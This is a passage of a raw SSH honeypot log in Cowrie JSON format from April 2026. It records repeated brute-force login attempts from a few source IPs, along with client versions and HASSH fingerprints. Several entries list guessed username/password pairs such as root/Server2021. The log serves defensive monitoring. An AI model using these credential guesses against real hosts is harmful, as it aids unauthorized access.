af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:58.932724Z","src_ip":"43.160.206.186","session":"1f4b73bf1350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49734,"dst_ip":"159.203.135.109","dst_port":22,"session":"b05dff28758c","protocol":"ssh","message":"New connection: 159.203.92.129:49734 (159.203.135.109:22) [session: b05dff28758c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:59.621477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:59.625883Z","src_ip":"159.203.92.129","session":"b05dff28758c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2019","message":"login attempt [user2/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:59.629233Z","src_ip":"203.115.100.24","session":"961969e3fb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:59.633773Z","src_ip":"159.203.92.129","session":"b05dff28758c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abms","password":"c##abms/123$%^","message":"login attempt [abms/c##abms/123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:59.646018Z","src_ip":"159.203.92.129","session":"b05dff28758c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XSW@2wsx","message":"login attempt [root/XSW@2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:15:59.917289Z","src_ip":"43.160.206.186","session":"1f4b73bf1350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:00.103235Z","src_ip":"203.115.100.24","session":"961969e3fb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53624,"dst_ip":"10.17.0.5","dst_port":22,"session":"faa67209a2be","protocol":"ssh","message":"New connection: 203.115.100.24:53624 (10.17.0.5:22) [session: faa67209a2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:00.352411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:00.358319Z","src_ip":"203.115.100.24","session":"faa67209a2be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:00.585082Z","src_ip":"203.115.100.24","session":"faa67209a2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:00.653551Z","src_ip":"159.203.92.129","session":"b05dff28758c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:01.157440Z","src_ip":"43.160.206.186","session":"1f4b73bf1350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2021","message":"login attempt [root/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:01.525075Z","src_ip":"203.115.100.24","session":"faa67209a2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:02.005080Z","src_ip":"203.115.100.24","session":"faa67209a2be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53729,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b3431605306","protocol":"ssh","message":"New connection: 203.115.100.24:53729 (10.17.0.5:22) [session: 2b3431605306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:02.234748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:02.240264Z","src_ip":"203.115.100.24","session":"2b3431605306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:02.461439Z","src_ip":"203.115.100.24","session":"2b3431605306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2021","message":"login attempt [admin/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:03.353106Z","src_ip":"203.115.100.24","session":"2b3431605306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:03.835358Z","src_ip":"203.115.100.24","session":"2b3431605306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53826,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a8bed57f2a","protocol":"ssh","message":"New connection: 203.115.100.24:53826 (10.17.0.5:22) [session: 93a8bed57f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:04.082505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:04.087342Z","src_ip":"203.115.100.24","session":"93a8bed57f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:04.320359Z","src_ip":"203.115.100.24","session":"93a8bed57f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2021","message":"login attempt [user/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:05.282590Z","src_ip":"203.115.100.24","session":"93a8bed57f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:05.756740Z","src_ip":"203.115.100.24","session":"93a8bed57f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":53928,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ae90547df38","protocol":"ssh","message":"New connection: 203.115.100.24:53928 (10.17.0.5:22) [session: 6ae90547df38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:06.000679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:06.006500Z","src_ip":"203.115.100.24","session":"6ae90547df38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:06.234070Z","src_ip":"203.115.100.24","session":"6ae90547df38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2021","message":"login attempt [user2/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:07.170244Z","src_ip":"203.115.100.24","session":"6ae90547df38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:07.649764Z","src_ip":"203.115.100.24","session":"6ae90547df38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54029,"dst_ip":"10.17.0.5","dst_port":22,"session":"39d2a661169e","protocol":"ssh","message":"New connection: 203.115.100.24:54029 (10.17.0.5:22) [session: 39d2a661169e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:07.886023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:07.891070Z","src_ip":"203.115.100.24","session":"39d2a661169e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:08.120525Z","src_ip":"203.115.100.24","session":"39d2a661169e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2022","message":"login attempt [root/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:09.062504Z","src_ip":"203.115.100.24","session":"39d2a661169e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:09.541752Z","src_ip":"203.115.100.24","session":"39d2a661169e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54127,"dst_ip":"10.17.0.5","dst_port":22,"session":"a27a9d23aa6f","protocol":"ssh","message":"New connection: 203.115.100.24:54127 (10.17.0.5:22) [session: a27a9d23aa6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:09.780359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:09.785073Z","src_ip":"203.115.100.24","session":"a27a9d23aa6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:10.013300Z","src_ip":"203.115.100.24","session":"a27a9d23aa6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2022","message":"login attempt [admin/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:10.958097Z","src_ip":"203.115.100.24","session":"a27a9d23aa6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":54788,"dst_ip":"159.203.135.109","dst_port":22,"session":"b582b6091462","protocol":"ssh","message":"New connection: 34.39.58.191:54788 (159.203.135.109:22) [session: b582b6091462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:11.068812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:11.073535Z","src_ip":"34.39.58.191","session":"b582b6091462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:11.148313Z","src_ip":"34.39.58.191","session":"b582b6091462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:11.428879Z","src_ip":"203.115.100.24","session":"a27a9d23aa6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testing","message":"login attempt [ubuntu/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:11.477696Z","src_ip":"34.39.58.191","session":"b582b6091462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":54224,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e097b62716c","protocol":"ssh","message":"New connection: 203.115.100.24:54224 (10.17.0.5:22) [session: 6e097b62716c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:11.671018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:16:11.675548Z","src_ip":"203.115.100.24","session":"6e097b62716c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 